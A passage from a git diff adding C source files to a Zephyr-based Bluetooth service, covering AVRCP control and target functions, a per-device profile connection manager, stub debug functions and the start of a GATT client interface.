bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + memset(&data, 0, sizeof(data)); + data.absolute_volume = volume; + + tid = tg_get_and_remove_tid(avrcp_info, SAL_AVRCP_REG_NTF_VOLUME_CHANGED); + if (tid < 0) + return BT_STATUS_FAIL; + + err = bt_avrcp_tg_notification(avrcp_info->tg, tid, BT_AVRCP_STATUS_SUCCESS, BT_AVRCP_EVT_VOLUME_CHANGED, &data); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_control_get_element_attributes(bt_controller_id_t id, + bt_address_t* bd_addr, uint8_t attrs_count, avrcp_media_attr_type_t* types) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + struct bt_avrcp_get_element_attrs_cmd* cmd; + struct net_buf* buf; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + buf = bt_avrcp_create_vendor_pdu(&bt_avrcp_tx_pool); + if (buf == NULL) { + BT_LOGW("Failed to allocate vendor dependent command buffer"); + return BT_STATUS_FAIL; + } + + if (net_buf_tailroom(buf) < sizeof(*cmd) + (7 * sizeof(uint32_t))) { + BT_LOGW("Not enough tailroom in buffer for browsed player rsp"); + goto failed; + } + cmd = net_buf_add(buf, sizeof(*cmd)); + + if (attrs_count > 0) { + cmd->num_attrs = attrs_count; + memset(cmd->identifier, 0, sizeof(cmd->identifier)); + for (int i = 0; i < cmd->num_attrs; i++) { + net_buf_add_be32(buf, *types + i); + } + } else { + cmd->num_attrs = 7U; // bt_avrcp_media_attr_t only supports 7 attribute types. + memset(cmd->identifier, 0, sizeof(cmd->identifier)); + for (int i = 0; i < cmd->num_attrs; i++) { + net_buf_add_be32(buf, BT_AVRCP_MEDIA_ATTR_TITLE + i); + } + } + + err = bt_avrcp_ct_get_element_attrs(avrcp_info->ct, get_next_ct_tid(avrcp_info), buf); + if (err < 0) + goto failed; + + return BT_STATUS_SUCCESS; + +failed: + net_buf_unref(buf); + return BT_STATUS_FAIL; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_control_get_unit_info(bt_controller_id_t id, + bt_address_t* bd_addr) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + err = bt_avrcp_ct_get_unit_info(avrcp_info->ct, get_next_ct_tid(avrcp_info)); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_control_get_subunit_info(bt_controller_id_t id, + bt_address_t* bd_addr) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + zblue_avrcp_info_t* avrcp_info; + int err; + + avrcp_info = bt_list_find(bt_avrcp_conn, bt_avrcp_info_find_addr, bd_addr); + if (!avrcp_info) { + BT_LOGW("avrcp_info not found"); + return BT_STATUS_FAIL; + } + + err = bt_avrcp_ct_get_subunit_info(avrcp_info->ct, get_next_ct_tid(avrcp_info)); + if (err < 0) + return BT_STATUS_FAIL; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_control_init(void) +{ +#if defined(CONFIG_BLUETOOTH_AVRCP_CONTROL) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) + if (avrcp_ct_registered) + return BT_STATUS_SUCCESS; + +#ifdef AVRCP_SDP_BY_APP + bt_sdp_register_service(&avrcp_ct_rec); +#endif + + bt_avrcp_ct_register_cb(&avrcp_ct_cbks); + avrcp_ct_registered = true; + + if (!bt_avrcp_conn) + bt_avrcp_conn = bt_list_new(free); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_avrcp_target_init(void) +{ +#if defined(CONFIG_BLUETOOTH_AVRCP_TARGET) || defined(CONFIG_BLUETOOTH_AVRCP_ABSOLUTE_VOLUME) + if (avrcp_tg_registered) + return BT_STATUS_SUCCESS; + +#ifdef AVRCP_SDP_BY_APP + bt_sdp_register_service(&avrcp_tg_rec); +#endif + + bt_avrcp_tg_register_cb(&avrcp_tg_cbks); + avrcp_tg_registered = true; + + if (!bt_avrcp_conn) + bt_avrcp_conn = bt_list_new(free); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +void bt_sal_avrcp_control_cleanup(void) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_CONTROL + bt_list_t* list = bt_avrcp_conn; + bt_list_node_t* node; + + if (!avrcp_ct_registered) + return; + +#ifdef AVRCP_SDP_BY_APP + bt_sdp_unregister_service(&avrcp_ct_rec); +#endif + + bt_avrcp_ct_unregister_cb(&avrcp_ct_cbks); + avrcp_ct_registered = false; + + if (!list) + return; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + zblue_avrcp_info_t* avrcp_info = bt_list_node(node); + + avrcp_info->is_cleanup = true; + bt_sal_avrcp_control_disconnect(PRIMARY_ADAPTER, &avrcp_info->bd_addr); + } + + if (bt_list_length(bt_avrcp_conn) != 0) + return; + + bt_list_free(bt_avrcp_conn); + bt_avrcp_conn = NULL; +#endif +} + +void bt_sal_avrcp_target_cleanup(void) +{ +#ifdef CONFIG_BLUETOOTH_AVRCP_TARGET + bt_list_t* list = bt_avrcp_conn; + bt_list_node_t* node; + + if (!avrcp_tg_registered) + return; + +#ifdef AVRCP_SDP_BY_APP + bt_sdp_unregister_service(&avrcp_tg_rec); +#endif + + bt_avrcp_tg_unregister_cb(&avrcp_tg_cbks); + avrcp_tg_registered = false; + + if (!list) + return; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + zblue_avrcp_info_t* avrcp_info = bt_list_node(node); + + avrcp_info->is_cleanup = true; + bt_sal_avrcp_control_disconnect(PRIMARY_ADAPTER, &avrcp_info->bd_addr); + } + + if (bt_list_length(bt_avrcp_conn) != 0) + return; + + bt_list_free(bt_avrcp_conn); + bt_avrcp_conn = NULL; +#endif +} + +#endif /* CONFIG_BLUETOOTH_AVRCP_CONTROL || CONFIG_BLUETOOTH_AVRCP_TARGET */ diff --git a/service/stacks/zephyr/sal_connection_manager.c b/service/stacks/zephyr/sal_connection_manager.c new file mode 100644 index 0000000000000000000000000000000000000000..9c5cbec4dbdc064863c68c3a8915e8520f5765e8 --- /dev/null +++ b/service/stacks/zephyr/sal_connection_manager.c @@ -0,0 +1,621 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "sal_connection_manager.h" +#include "bt_list.h" +#include "sal_interface.h" +#include "service_loop.h" + +#include <zephyr/bluetooth/conn.h> + +#include "utils/log.h" + +typedef struct { + bt_address_t device_addr; + bool is_unpair; + bt_list_t* profile_conn_handler_list; +} bt_profile_connection_manager_t; + +typedef struct { + bt_address_t device_addr; + uint8_t profile_id; + uint16_t conn_id; + bt_profile_conn_handler_t handler; + bt_controller_id_t id; + bt_list_t* manager_list; + void* user_data; +} sal_async_profile_req_t; + +static bt_list_t* bt_sal_connecting_list = NULL; +static bt_list_t* bt_sal_disconnecting_list = NULL; + +static bt_status_t bt_sal_trigger_profile_conn_act(bt_profile_connection_manager_t* manager, bt_list_t* manager_list); +static void remove_from_connection_manager_list(bt_list_t* list, bt_address_t* addr, uint8_t profile_id, + uint16_t conn_id, bool try_acl_disconnect); + +static bool match_profile_id_and_conn_id(void* data, void* context) +{ + bt_profile_conn_handler_node_t* handler_node = (bt_profile_conn_handler_node_t*)data; + uint32_t key = (uint32_t)(uintptr_t)context; + uint8_t profile_id = (key >> 16) & 0xFF; + uint16_t conn_id = key & 0xFFFF; + + if (!handler_node) { + return false; + } + + return handler_node->profile_id == profile_id && handler_node->conn_id == conn_id; +} + +static bt_profile_conn_handler_node_t* find_handler_node( + bt_profile_connection_manager_t* manager, + uint8_t profile_id, + uint16_t conn_id) +{ + uint32_t key; + + if (!manager || !manager->profile_conn_handler_list) { + return NULL; + } + + key = (((uint32_t)profile_id) << 16) | (uint32_t)conn_id; + + return bt_list_find(manager->profile_conn_handler_list, + match_profile_id_and_conn_id, + (void*)(uintptr_t)key); +} + +static void bt_connection_manager_destory(void* data) +{ + bt_profile_connection_manager_t* manager = (bt_profile_connection_manager_t*)data; + if (manager) { + if (manager->profile_conn_handler_list) { + bt_list_free(manager->profile_conn_handler_list); + manager->profile_conn_handler_list = NULL; + } + + free(manager); + } +} + +static bool bt_connection_manager_find(void* data, void* context) +{ + bt_profile_connection_manager_t* manager = (bt_profile_connection_manager_t*)data; + if (!manager) + return false; + + return memcmp(&manager->device_addr, context, sizeof(bt_address_t)) == 0; +} + +static void profile_entry_destroy(void* data) +{ + if (data) { + bt_profile_conn_handler_node_t* handler_node = (bt_profile_conn_handler_node_t*)data; + free(handler_node); + } +} + +static bt_profile_connection_manager_t* create_connection_manager(bt_address_t* addr) +{ + bt_profile_connection_manager_t* manager; + + manager = zalloc(sizeof(*manager)); + if (!manager) { + return NULL; + } + + memcpy(&manager->device_addr, addr, sizeof(bt_address_t)); + + manager->profile_conn_handler_list = bt_list_new(profile_entry_destroy); + if (!manager->profile_conn_handler_list) { + free(manager); + return NULL; + } + + return manager; +} + +static bt_profile_connection_manager_t* find_or_create_connection_manager(bt_list_t* list, bt_address_t* addr) +{ + bt_profile_connection_manager_t* manager; + + if (!addr || !list) { + return NULL; + } + + manager = bt_list_find(list, bt_connection_manager_find, addr); + if (manager) { + return manager; + } + + manager = create_connection_manager(addr); + if (!manager) { + return NULL; + } + + bt_list_add_tail(list, manager); + return manager; +} + +static sal_async_profile_req_t* sal_async_profile_req(bt_address_t* addr, bt_profile_conn_handler_t handler, + uint8_t profile_id, uint16_t conn_id, bt_controller_id_t id, bt_list_t* manager_list, void* user_data) +{ + sal_async_profile_req_t* req = calloc(sizeof(sal_async_profile_req_t), 1); + + if (req) { + req->profile_id = profile_id; + req->conn_id = conn_id; + req->id = id; + req->handler = handler; + req->manager_list = manager_list; + req->user_data = user_data; + if (addr) + memcpy(&req->device_addr, addr, sizeof(bt_address_t)); + } + + return req; +} + +static void sal_invoke_async(service_work_t* work, void* userdata) +{ + sal_async_profile_req_t* req = userdata; + bt_status_t status; + bt_profile_connection_manager_t* manager; + bt_profile_conn_handler_node_t* handler_node; + bt_list_t* manager_list; + + SAL_ASSERT(req); + + if (!req->manager_list) { + /* !req->user_data means a direct profile "disconnection" */ + req->handler(req->id, &req->device_addr, req->user_data); + free(req); + return; + } + + manager_list = (bt_list_t*)req->manager_list; + + manager = (bt_profile_connection_manager_t*)bt_list_find(manager_list, + bt_connection_manager_find, &req->device_addr); + + if (!manager) { + BT_LOGW("%s, manager not found.", __func__); + free(req); + return; + } + + handler_node = find_handler_node(manager, req->profile_id, req->conn_id); + + if (!handler_node) { + BT_LOGW("%s, handler_node not found.", __func__); + free(req); + return; + } + + status = req->handler(req->id, &req->device_addr, req->user_data); + + if (status != BT_STATUS_SUCCESS) { + remove_from_connection_manager_list(manager_list, &req->device_addr, req->profile_id, req->conn_id, false); + } + + free(req); +} + +static bt_status_t sal_send_async_req(sal_async_profile_req_t* req) +{ + if (!req) + return BT_STATUS_PARM_INVALID; + + if (!service_loop_work((void*)req, sal_invoke_async, NULL)) { + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +cm_data_t* cm_data_new(bt_address_t* addr, uint8_t profile_id, uint16_t conn_id) +{ + cm_data_t* data = (cm_data_t*)zalloc(sizeof(cm_data_t)); + if (!data) + return NULL; + + if (addr != NULL) + memcpy(&data->addr, addr, sizeof(bt_address_t)); + + data->profile_id = profile_id; + data->conn_id = conn_id; + return data; +} + +void bt_sal_cm_conn_init(void) +{ + bt_sal_disconnecting_list = bt_list_new(bt_connection_manager_destory); + bt_sal_connecting_list = bt_list_new(bt_connection_manager_destory); +} + +void cm_data_destory(cm_data_t* data) +{ + free(data); +} + +static bt_status_t bt_sal_trigger_profile_conn_act(bt_profile_connection_manager_t* manager, bt_list_t* manager_list) +{ + bt_list_node_t* node; + bt_profile_conn_handler_node_t* handler_node; + bt_address_t* addr; + bt_list_t* list; + sal_async_profile_req_t* req; + + if (!manager) { + return BT_STATUS_PARM_INVALID; + } + + list = manager->profile_conn_handler_list; + + if (!manager_list || !list) { + return BT_STATUS_NOMEM; + } + + addr = &manager->device_addr; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + handler_node = (bt_profile_conn_handler_node_t*)bt_list_node(node); + + if (!handler_node || !handler_node->handler) + continue; + + if (handler_node->is_busy) { + continue; + } + + /* async invoke to service_worker thread */ + req = sal_async_profile_req(addr, handler_node->handler, handler_node->profile_id, handler_node->conn_id, + handler_node->id, manager_list, handler_node->user_data); + + if (sal_send_async_req(req) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, profile_id: %u", __func__, handler_node->profile_id); + free(req); + continue; + } + + handler_node->is_busy = true; + } + + return BT_STATUS_SUCCESS; +} + +static void remove_from_connection_manager_list(bt_list_t* list, bt_address_t* addr, uint8_t profile_id, + uint16_t conn_id, bool try_acl_disconnect) +{ + if (list == NULL) { + return; + } + + bt_profile_connection_manager_t* manager = bt_list_find(list, bt_connection_manager_find, addr); + bt_profile_conn_handler_node_t* handler_node; + + if (manager == NULL) { + BT_LOGW("%s, manager not found.", __func__); + return; + } + + handler_node = find_handler_node(manager, profile_id, conn_id); + + if (handler_node) { + bt_list_remove(manager->profile_conn_handler_list, handler_node); + } + + if (bt_list_is_empty(manager->profile_conn_handler_list)) { + + if (try_acl_disconnect) { + bt_sal_disconnect_internal(PRIMARY_ADAPTER, addr, BT_HCI_ERR_REMOTE_USER_TERM_CONN); + } else { + bt_list_remove(list, manager); + } + } +} + +static void bt_sal_cm_acl_connected(void* data) +{ + if (data == NULL) + return; + + cm_data_t* cm_data; + bt_profile_connection_manager_t* manager; + + cm_data = (cm_data_t*)data; + + manager = bt_list_find(bt_sal_connecting_list, bt_connection_manager_find, &cm_data->addr); + + if (manager != NULL) { + bt_sal_trigger_profile_conn_act(manager, bt_sal_connecting_list); + } + + cm_data_destory(cm_data); +} + +static void bt_sal_cm_acl_disconnected(void* data) +{ + if (data == NULL) + return; + + cm_data_t* cm_data = data; + bt_profile_connection_manager_t* manager; + + if (bt_sal_connecting_list != NULL) { + manager = bt_list_find(bt_sal_connecting_list, bt_connection_manager_find, &cm_data->addr); + if (manager != NULL) { + bt_list_remove(bt_sal_connecting_list, manager); + } else { + BT_LOGW("%s, manager not found.", __func__); + } + } + + if (bt_sal_disconnecting_list != NULL) { + manager = bt_list_find(bt_sal_disconnecting_list, bt_connection_manager_find, &cm_data->addr); + if (manager != NULL) { + if (manager->is_unpair) { + /* must call stack api in service worker */ + bt_sal_remove_bond_internal(PRIMARY_ADAPTER, &manager->device_addr); + } + bt_list_remove(bt_sal_disconnecting_list, manager); + } else { + BT_LOGW("%s, manager not found.", __func__); + } + } + + cm_data_destory(cm_data); +} + +void bt_sal_cm_profile_connected_callback(bt_address_t* addr, uint8_t profile_id, + uint16_t conn_id) +{ + /* + * To avoid generating duplicate profile connect requests for an + * already-connected profile, we do not change the manager state. + */ + return; +} + +void bt_sal_cm_profile_disconnected_callback(bt_address_t* addr, uint8_t profile_id, + uint16_t conn_id) +{ + if (!addr) { + return; + } + + remove_from_connection_manager_list( + bt_sal_connecting_list, + addr, + profile_id, + conn_id, + false); + + remove_from_connection_manager_list( + bt_sal_disconnecting_list, + addr, + profile_id, + conn_id, + true); +} + +void bt_sal_cm_acl_connected_callback(cm_data_t* data) +{ + if (data == NULL) + return; + + do_in_service_loop(bt_sal_cm_acl_connected, data); +} + +void bt_sal_cm_acl_disconnected_callback(cm_data_t* data) +{ + if (data == NULL) + return; + + do_in_service_loop(bt_sal_cm_acl_disconnected, data); +} + +bt_status_t bt_sal_cm_try_disconnect_profiles(bt_address_t* addr, bool is_unpair) +{ + bt_profile_connection_manager_t* manager; + struct bt_conn* conn; + struct bt_conn_info info; + + if (!addr) + return BT_STATUS_PARM_INVALID; + + if (bt_sal_disconnecting_list == NULL) + return BT_STATUS_FAIL; + + conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + if (!conn) { + return BT_STATUS_FAIL; + } + + if (bt_conn_get_info(conn, &info) < 0) { + return BT_STATUS_FAIL; + } + + bt_conn_unref(conn); + + if (info.state != BT_CONN_STATE_CONNECTED && info.state != BT_CONN_STATE_DISCONNECTING) { + return BT_STATUS_NOT_READY; + } + + manager = bt_list_find(bt_sal_disconnecting_list, bt_connection_manager_find, addr); + + if (manager) { + if (manager->is_unpair) { + BT_LOGD("removeboned procedure still running"); + return BT_STATUS_SUCCESS; + } + + manager->is_unpair = manager->is_unpair || is_unpair; + + if (info.state == BT_CONN_STATE_DISCONNECTING) { + BT_LOGD("ACL disconnecting procedure still running"); + return BT_STATUS_SUCCESS; + } + + if (bt_list_is_empty(manager->profile_conn_handler_list)) { + return bt_sal_disconnect_internal(PRIMARY_ADAPTER, addr, BT_HCI_ERR_REMOTE_USER_TERM_CONN); + } + + return bt_sal_trigger_profile_conn_act(manager, bt_sal_disconnecting_list); + } + + manager = create_connection_manager(addr); + if (!manager) { + BT_LOGE("%s, malloc failed", __func__); + return BT_STATUS_NOMEM; + } + + manager->is_unpair = is_unpair; + bt_list_add_tail(bt_sal_disconnecting_list, manager); + + return bt_sal_disconnect_internal(PRIMARY_ADAPTER, addr, BT_HCI_ERR_REMOTE_USER_TERM_CONN); +} + +static bt_status_t bt_sal_try_profile_connect(bt_address_t* addr) +{ + bt_profile_connection_manager_t* manager; + struct bt_conn* conn; + struct bt_conn_info info; + + if (!addr) + return BT_STATUS_PARM_INVALID; + + manager = find_or_create_connection_manager(bt_sal_connecting_list, addr); + if (!manager) + return BT_STATUS_NOMEM; + + conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + if (!conn) { + return bt_sal_connect(PRIMARY_ADAPTER, addr); + } + + if (bt_conn_get_info(conn, &info) < 0) { + return BT_STATUS_FAIL; + } + + bt_conn_unref(conn); + + switch (info.state) { + case BT_CONN_STATE_CONNECTING: + return BT_STATUS_SUCCESS; + case BT_CONN_STATE_DISCONNECTED: + return bt_sal_connect(PRIMARY_ADAPTER, addr); + case BT_CONN_STATE_DISCONNECTING: + return BT_STATUS_BUSY; + case BT_CONN_STATE_CONNECTED: + default: + break; + } + + return bt_sal_trigger_profile_conn_act(manager, bt_sal_connecting_list); +} + +bt_status_t bt_sal_profile_connect_request(bt_address_t* addr, uint8_t profile_id, uint16_t conn_id, bt_controller_id_t id, + bt_profile_conn_handler_t handler, void* user_data) +{ + bt_profile_connection_manager_t* manager; + bt_profile_conn_handler_node_t* handler_node; + + if (!addr || !handler) + return BT_STATUS_PARM_INVALID; + + manager = find_or_create_connection_manager(bt_sal_connecting_list, addr); + if (!manager) { + return BT_STATUS_NOMEM; + } + + if (find_handler_node(manager, profile_id, conn_id)) { + return BT_STATUS_SUCCESS; + } + + handler_node = (bt_profile_conn_handler_node_t*)zalloc(sizeof(bt_profile_conn_handler_node_t)); + if (!handler_node) { + return BT_STATUS_NOMEM; + } + + handler_node->handler = handler; + handler_node->profile_id = profile_id; + handler_node->conn_id = conn_id; + handler_node->id = id; + handler_node->user_data = user_data; + bt_list_add_tail(manager->profile_conn_handler_list, handler_node); + + return bt_sal_try_profile_connect(addr); +} + +bt_status_t bt_sal_profile_disconnect_register(bt_address_t* addr, uint8_t profile_id, uint16_t conn_id, bt_controller_id_t id, + bt_profile_conn_handler_t handler, void* user_data) +{ + bt_profile_connection_manager_t* manager; + bt_profile_conn_handler_node_t* handler_node; + + if (!addr || !handler) + return BT_STATUS_PARM_INVALID; + + manager = find_or_create_connection_manager(bt_sal_disconnecting_list, addr); + if (!manager) { + return BT_STATUS_NOMEM; + } + + if (find_handler_node(manager, profile_id, conn_id)) { + return BT_STATUS_SUCCESS; + } + + handler_node = (bt_profile_conn_handler_node_t*)zalloc(sizeof(bt_profile_conn_handler_node_t)); + if (!handler_node) { + return BT_STATUS_NOMEM; + } + + handler_node->handler = handler; + handler_node->profile_id = profile_id; + handler_node->conn_id = conn_id; + handler_node->id = id; + handler_node->user_data = user_data; + bt_list_add_tail(manager->profile_conn_handler_list, handler_node); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_profile_disconnect_request(bt_address_t* addr, uint8_t profile_id, uint16_t conn_id, bt_controller_id_t id, + bt_profile_conn_handler_t handler, void* user_data) +{ + sal_async_profile_req_t* req; + + /* async invoke to service_worker thread */ + req = sal_async_profile_req(addr, handler, profile_id, conn_id, id, NULL, user_data); + + if (sal_send_async_req(req) != BT_STATUS_SUCCESS) { + BT_LOGE("%s, profile_id: %u", __func__, profile_id); + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +void bt_sal_cm_conn_cleanup(void) +{ + bt_list_free(bt_sal_disconnecting_list); + bt_sal_disconnecting_list = NULL; + + bt_list_free(bt_sal_connecting_list); + bt_sal_connecting_list = NULL; +} \ No newline at end of file diff --git a/service/stacks/zephyr/sal_debug_interface.c b/service/stacks/zephyr/sal_debug_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..d8280f2cefcbed43bcfb7a2fd4c0a929c003cdce --- /dev/null +++ b/service/stacks/zephyr/sal_debug_interface.c @@ -0,0 +1,29 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> + +#include "bluetooth_define.h" + +#include "utils/log.h" + +void bt_sal_debug_init(void) { } +void bt_sal_debug_cleanup(void) { } +bt_status_t bt_sal_debug_enable(void) { return BT_STATUS_NOT_SUPPORTED; } +bt_status_t bt_sal_debug_disable(void) { return BT_STATUS_NOT_SUPPORTED; } +bt_status_t bt_sal_debug_set_log_level(uint32_t level) { return BT_STATUS_NOT_SUPPORTED; } +bool bt_sal_debug_is_type_support(bt_debug_type_t type) { return false; } +bt_status_t bt_sal_debug_set_log_enable(bt_debug_type_t type, bool enable) { return BT_STATUS_NOT_SUPPORTED; } +bt_status_t bt_sal_debug_update_log_mask(int mask) { return BT_STATUS_NOT_SUPPORTED; } \ No newline at end of file diff --git a/service/stacks/zephyr/sal_gatt_client_interface.c b/service/stacks/zephyr/sal_gatt_client_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..aab269c60569890784dc44e5fdcf6c669e965e15 --- /dev/null +++ b/service/stacks/zephyr/sal_gatt_client_interface.c @@ -0,0 +1,1442 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/conn.h> +#include <zephyr/bluetooth/gatt.h> +#include <zephyr/bluetooth/l2cap.h> +#include <zephyr/bluetooth/uuid.h> + +#include <debug.h> + +#include "sal_adapter_le_interface.h" +#include "sal_gatt_client_interface.h" +#include "sal_interface.h" +#include "service_loop.h" +#include "utils/log.h" + +#undef CONFIG_GATT_CLIENT_LOG + +#ifdef CONFIG_BLUETOOTH_GATT_CLIENT +#define STACK_CALL(func) zblue_##func + +typedef void (*sal_func_t)(void* args); + +typedef struct { + uint16_t value_handle; + struct bt_gatt_subscribe_params indicate_params; + struct bt_gatt_subscribe_params notify_params; +} gatt_subscribe_slot_t; + +typedef struct { + uint16_t decl_handle; + uint16_t value_handle; + uint8_t properties; + bt_uuid_t uuid; +} gatt_element_char_t; + +union uuid { + struct bt_uuid uuid; + struct bt_uuid_16 u16; + struct bt_uuid_128 u128; +}; + +struct gatt_service { + uint16_t start_handle; + uint16_t end_handle; + bt_uuid_t uuid; +}; + +struct gatt_instance { + bool active; + bt_address_t addr; + uint8_t service_idx; + uint8_t service_size; + uint8_t element_idx; + uint8_t element_size; + uint8_t element_char_idx; + uint8_t element_char_size; + uint8_t current_element_base_idx; + struct gatt_service service[CONFIG_GATT_CLIENT_SERVICE_MAX]; + gatt_element_t element[CONFIG_GATT_CLIENT_ELEMENT_MAX]; + gatt_element_char_t element_char[CONFIG_GATT_CLIENT_CHAR_PER_SERVICE_MAX]; + gatt_subscribe_slot_t subscribe_slot[CONFIG_GATT_CLIENT_CHAR_PER_SERVICE_MAX]; +}; + +typedef union { + struct bt_le_conn_param conn_param; +} sal_adapter_args_t; + +typedef struct { + bt_controller_id_t id; + bt_address_t addr; + ble_addr_type_t addr_type; + sal_func_t func; + sal_adapter_args_t adpt; +} sal_adapter_req_t; + +static bool zblue_uuid2_to_uuid1(struct bt_uuid* u1, const bt_uuid_t* u2); + +static void zblue_gattc_mtu_updated_callback(struct bt_conn* conn, uint16_t tx, uint16_t rx); + +static bt_status_t zblue_gatt_client_discover_include_service(struct bt_conn* conn, const struct bt_uuid* uuid, + uint16_t start_handle, uint16_t end_handle); + +static bt_status_t zblue_gatt_client_discover_chrc(struct bt_conn* conn, const struct bt_uuid* uuid, + uint16_t start_handle, uint16_t end_handle); + +static bt_status_t zblue_gatt_client_discover_descriptor(struct bt_conn* conn, const struct bt_uuid* uuid, + uint16_t start_handle, uint16_t end_handle); + +static struct gatt_instance g_gatt_client[CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS]; + +static struct bt_gatt_cb zblue_gatt_callbacks = { + .att_mtu_updated = zblue_gattc_mtu_updated_callback +}; + +static void gatt_discover_cleanup(struct gatt_instance* instance) +{ + instance->element_size = 0; + instance->service_idx = 0; + instance->service_size = 0; + instance->current_element_base_idx = 0; + instance->element_char_idx = 0; + instance->element_char_size = 0; +} + +static bool gatt_is_service_discovery_complete(struct gatt_instance* instance) +{ + return (instance->element_char_idx == 0 && instance->element_char_size == 0); +} + +static gatt_subscribe_slot_t* gatt_find_subscribe_slot(struct gatt_instance* instance, uint16_t value_handle) +{ + for (int i = 0; i < CONFIG_GATT_CLIENT_CHAR_PER_SERVICE_MAX; i++) { + if (instance->subscribe_slot[i].value_handle == value_handle) { + return &instance->subscribe_slot[i]; + } + } + return NULL; +} + +static gatt_subscribe_slot_t* gatt_get_or_create_subscribe_slot(struct gatt_instance* instance, uint16_t value_handle) +{ + gatt_subscribe_slot_t* slot = gatt_find_subscribe_slot(instance, value_handle); + + if (slot) { + return slot; + } + + for (int i = 0; i < CONFIG_GATT_CLIENT_CHAR_PER_SERVICE_MAX; i++) { + if (instance->subscribe_slot[i].value_handle == 0) { + instance->subscribe_slot[i].value_handle = value_handle; + memset(&instance->subscribe_slot[i].notify_params, 0, sizeof(struct bt_gatt_subscribe_params)); + memset(&instance->subscribe_slot[i].indicate_params, 0, sizeof(struct bt_gatt_subscribe_params)); + return &instance->subscribe_slot[i]; + } + } + + return NULL; +} + +static void gatt_delete_subscribe_slot_by_param(struct gatt_instance* instance, struct bt_gatt_subscribe_params* param) +{ + for (int i = 0; i < CONFIG_GATT_CLIENT_CHAR_PER_SERVICE_MAX; i++) { + gatt_subscribe_slot_t* slot = &instance->subscribe_slot[i]; + + if (slot->value_handle == 0) + continue; + + if (&slot->notify_params == param) { + memset(&slot->notify_params, 0, sizeof(struct bt_gatt_subscribe_params)); + return; + } + + if (&slot->indicate_params == param) { + memset(&slot->indicate_params, 0, sizeof(struct bt_gatt_subscribe_params)); + return; + } + } +} + +static void gatt_clear_all_subscribe_slots(struct gatt_instance* instance) +{ + memset(instance->subscribe_slot, 0, sizeof(instance->subscribe_slot)); +} + +static uint16_t gatt_find_ccc_handle_by_value_handle(struct gatt_instance* instance, uint16_t value_handle) +{ + static const struct bt_uuid_16 uuid_ccc = BT_UUID_INIT_16(BT_UUID_GATT_CCC_VAL); + static union uuid u; + int start = -1; + + for (int i = 0; i < CONFIG_GATT_CLIENT_ELEMENT_MAX; i++) { + if (instance->element[i].handle == value_handle) { + start = i + 1; + break; + } + } + + if (start < 0) { + return 0; + } + + for (int i = start; i < CONFIG_GATT_CLIENT_ELEMENT_MAX; i++) { + const gatt_element_t* elem = &instance->element[i]; + + if ((elem->handle == 0) || (elem->type == 